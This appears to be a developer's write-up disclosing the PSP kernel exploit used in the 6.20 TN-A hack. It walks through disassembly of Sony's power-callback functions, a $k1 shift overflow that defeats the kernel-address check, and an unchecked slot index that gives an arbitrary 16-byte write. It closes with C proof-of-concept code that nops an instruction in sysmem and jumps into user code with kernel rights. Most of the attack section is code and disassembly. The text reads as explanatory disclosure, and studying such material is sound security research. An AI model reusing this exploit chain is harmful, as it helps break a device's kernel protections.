Arcanum.

Now that 6.20 TN-A is out in the open, allow me to describe the kernel vulnerability used. Back in 5.706.00 Sony introduced a feature into the sceUtility_private library that allowed to set and unset a callback with kernel privileges.

sceUtility_private_764F5A3C //Set power callback
sceUtility_private_2DC8380C // release (unset) power callback

These two functions are not normally imported so they require some special techniques such as syscall estimation to reach them in order to utilise their functionality.

Now, how does this kernel exploit work? Here’s how:

sceUtility_private_764F5A3C:
	0x000027F0: 0x27BDFFF0 '...'' - addiu      $sp, $sp, -16
	0x000027F4: 0xAFB00000 '....' - sw         $s0, 0($sp)
	0x000027F8: 0x03608021 '!.`.' - move       $s0, $k1
	0x000027FC: 0xAFBF0004 '....' - sw         $ra, 4($sp)
	0x00002800: 0x0C002229 ')"..' - jal        scePower_driver_1A41E0ED
	0x00002804: 0x001BDAC0 '....' - sll        $k1, $k1, 11
	0x00002808: 0x0200D821 '!...' - move       $k1, $s0
	0x0000280C: 0x8FBF0004 '....' - lw         $ra, 4($sp)
	0x00002810: 0x8FB00000 '....' - lw         $s0, 0($sp)
	0x00002814: 0x03E00008 '....' - jr         $ra
	0x00002818: 0x27BD0010 '...'' - addiu      $sp, $sp, 16

So, it’s a very simple function, one can reverse it to produce the pseudo-C code:

int sceUtility_private_764F5A3C(args)
{
	u32 k1 = BACKUP_K1();
	SET_K1(k1 << 11);

	int res = scePower_driver_1A41E0ED(args);

	SET_K1(k1);
	return res;
}

As this function comes from a syscall, interruptmgr sets the $k1 register to 0x100000.

Now, you may be thinking “wtf is a $k1?” well the $k1 is a register used to help filter out unauthorised usermode kernel addresses. For example, ChickHEN used a kernel exploit that took advantage of the lack of one of these check on this $k1 value. Typically, Sony shift the $k1 register by 11 bits (in 6.xx) as to change the value to 0x80000000 which can be checked against an address to check if it’s kernel. As kernel attribute addresses are or’d with 0x80000000 then the outcome will be 0x80000000, which by two’s compliment is also a negative number, often resulting in checks for negatives.

Back to this exploit, the function takes the 0x100000 value and shifts it left 11 to result in 0x80000000, the prime value for checking for a kernel address. Afterwards, it calls the scePowerRegisterCallback (native kernel nid is 0x1A41E0ED).

So, by nature, we take a peek into power.prx and look at this function and we come across the following assembler:

scePowerRegisterCallback:
	0x000007F0: 0x27BDFFD0 '...'' - addiu      $sp, $sp, -48
	0x000007F4: 0x2883FFFF '...(' - slti       $v1, $a0, -1
	0x000007F8: 0xAFB20018 '....' - sw         $s2, 24($sp)
	0x000007FC: 0x03609021 '!.`.' - move       $s2, $k1
	0x00000800: 0x001BDAC0 '....' - sll        $k1, $k1, 11
	0x00000804: 0xAFB10014 '....' - sw         $s1, 20($sp)
	0x00000808: 0x00A08821 '!...' - move       $s1, $a1
	0x0000080C: 0xAFB00010 '....' - sw         $s0, 16($sp)
	0x00000810: 0x00808021 '!...' - move       $s0, $a0
	0x00000814: 0xAFBF0020 ' ...' - sw         $ra, 32($sp)
	0x00000818: 0x1460005D '].`.' - bnez       $v1, loc_00000990
	0x0000081C: 0xAFB3001C '....' - sw         $s3, 28($sp)
	0x00000820: 0x07610003 '..a.' - bgez       $k1, loc_00000830
	0x00000824: 0x28840010 '...(' - slti       $a0, $a0, 16
	0x00000828: 0x10800053 'S...' - beqz       $a0, loc_00000978
	0x0000082C: 0x3C0B8000 '...<' - lui        $t3, 0x8000

Scary, isn’t it? Lets take it chunk by chunk. Lets, look at our friend google. By googling the function name, we can find the prototype “int scePowerRegisterCallback (int slot, SceUID cbid)”. Now, the kernel checks for $a0 (slot) < -1 and stores true or false into register $v1. After that, we see our $k1 registers being used. First it saves a backup then it shifts by 11.

Now, lets think this through… we currently have the $k1 set to 0x80000000, if it is shifted 11 then the result would be 0x40000000000, but the $k1 register is only 32 bits wide, so this overflow results in $k1 = 0, allowing all checks on kernel to succeed.

It then goes on to check the value stored in $v1 (the slot < -1) is true, if it is true it will return an error. Then, it goes to a branch if $k1 >= 0. Typically, if a syscall called this function, $k1 would be 0x80000000 which by two’s compliment is negative and will not pass. So if $k1 is >= 0, we can assume it is checking for kernel mode.

//Check if cbid is valid
	0x00000878: 0x0C0016FC '....' - jal        sceKernelCpuSuspendIntr
	0x0000087C: 0x00000000 '....' - nop        
	0x00000880: 0x240DFFFF '...$' - li         $t5, -1
	0x00000884: 0x120D0020 ' ...' - beq        $s0, $t5, loc_00000908
	0x00000888: 0x00409821 '!.@.' - move       $s3, $v0
; Data ref 0x00006D00 ... 0x00000000 0x00000000 0x00000000 0x00000000 
	0x0000088C: 0x3C030000 '...<' - lui        $v1, 0x0
	0x00000890: 0x00103900 '.9..' - sll        $a3, $s0, 4
; Data ref 0x00006D00 ... 0x00000000 0x00000000 0x00000000 0x00000000 
	0x00000894: 0x24656D00 '.me$' - addiu      $a1, $v1, 27904
	0x00000898: 0x00E51821 '!...' - addu       $v1, $a3, $a1
	0x0000089C: 0x8C640000 '..d.' - lw         $a0, 0($v1)
	0x000008A0: 0x3C068000 '...<' - lui        $a2, 0x8000
	0x000008A4: 0x0480000C '....' - bltz       $a0, loc_000008D8
	0x000008A8: 0x34D00020 ' ..4' - ori        $s0, $a2, 0x20

Now, you can see it shifts slot 4 bits left and then adds it to an address in power.prx. Now, the problem here is that it doesn’t check slot to be < 16 like it does if the function is called in user mode. So, one can control an address that power.prx accesses. Here it loads the 32bit word and checks for < 0 (as < 0 is an unused callback). So, assuming the callback is unused, we can progress to loc_000008D8.

loc_000008D8:		; Refs: 0x000008A4 
	0x000008D8: 0xAC710000 '..q.' - sw         $s1, 0($v1)
	0x000008DC: 0x02202021 '!  .' - move       $a0, $s1
	0x000008E0: 0x00008021 '!...' - move       $s0, $zr
	0x000008E4: 0xAC600004 '..`.' - sw         $zr, 4($v1)
	0x000008E8: 0x8CB10204 '....' - lw         $s1, 516($a1)
	0x000008EC: 0xAC60000C '..`.' - sw         $zr, 12($v1)
	0x000008F0: 0xAC710008 '..q.' - sw         $s1, 8($v1)
	0x000008F4: 0x8CA50204 '....' - lw         $a1, 516($a1)

Yep, here it stores a plentiful of information to the address you have control of. It stores 16 bytes worth of data, notably, the latter 4 bytes are infact 0x00000000 or a nop instruction. This can be used in a variety of places to gain control of the system.

Personally, back in 2009 I felt it would be a good idea to use sysmem. I recalled that a great deal of exports in there where simply function pointers. However, I realised that since it is a left shift by 4, the address had to be 16 aligned. So, I looked and found this:

0x0000CCB0: 0xACC205B0 '....' - sw         $v0, 1456($a2)
	0x0000CCB4: 0x08003322 '"3..' - j          loc_0000CC88
	0x0000CCB8: 0x00001021 '!...' - move       $v0, $zr

; ======================================================
; Subroutine sceKernelPowerLockForUser - Address 0x0000CCBC - Aliases: sceKernelPowerLock
; Exported in sceSuspendForKernel
; Exported in sceSuspendForUser
sceKernelPowerLockForUser:
	0x0000CCBC: 0x3C050000 '...<' - lui        $a1, 0x0
	0x0000CCC0: 0x8CA305B4 '....' - lw         $v1, 1460($a1)
	0x0000CCC4: 0x27BDFFF0 '...'' - addiu      $sp, $sp, -16
	0x0000CCC8: 0xAFBF0000 '....' - sw         $ra, 0($sp)
	0x0000CCCC: 0x14600004 '..`.' - bnez       $v1, loc_0000CCE0
	0x0000CCD0: 0x00001021 '!...' - move       $v0, $zr
	0x0000CCD4: 0x8FBF0000 '....' - lw         $ra, 0($sp)

loc_0000CCD8:		; Refs: 0x0000CCEC 
	0x0000CCD8: 0x03E00008 '....' - jr         $ra
	0x0000CCDC: 0x27BD0010 '...'' - addiu      $sp, $sp, 16

loc_0000CCE0:		; Refs: 0x0000CCCC 
	0x0000CCE0: 0x8C620010 '..b.' - lw         $v0, 16($v1)
	0x0000CCE4: 0x0040F809 '..@.' - jalr       $v0
	0x0000CCE8: 0x00000000 '....' - nop        
	0x0000CCEC: 0x08003336 '63..' - j          loc_0000CCD8
	0x0000CCF0: 0x8FBF0000 '....' - lw         $ra, 0($sp)

Now, this is beautiful. The nop overwrite the lui of an address, and you can then pass your own pointer which it will allow you jump directly into your code with kernel rights!

Eventually, it came to this produced code:

/* create a callback */
	SceUID callback = pspKernelCreateCallback("Callback", Callback, NULL);

	/* back track so the address is relative to sysmem */
	u32 sysmem_addr = (~power_buffer_address + 1) >> 4;

	/* unregister the callback to ensure that < 0 is stored */
	pspUtilityPowerUnregisterCallback(sysmem_addr + 0xCCB);

	/* now nop the top of PowerLock */
	u32 res = pspUtilityPowerRegisterCallback(sysmem_addr + 0xCCB, callback);

	/* delete callback */
	pspKernelDeleteCallback(callback);
	ClearCaches();

	/* get the kernel entry in */
	u32 local_var = ((u32)kernel_entry) | 0x80000000;
	u32 local_var2 = ((u32)&local_var) - 16;

	/* call this to get into kernel mode (note, 0x4234 is taken from the live version of sysmem */
	int res = pspKernelPowerLock(NULL, ((u32)&local_var2) - 0x4234);

	ClearCaches();

There may be some gaps, I used another exploit to keep the data dynamic but that should give a general idea of the exploit. This is rushed towards the end, I realise but I have other things to do.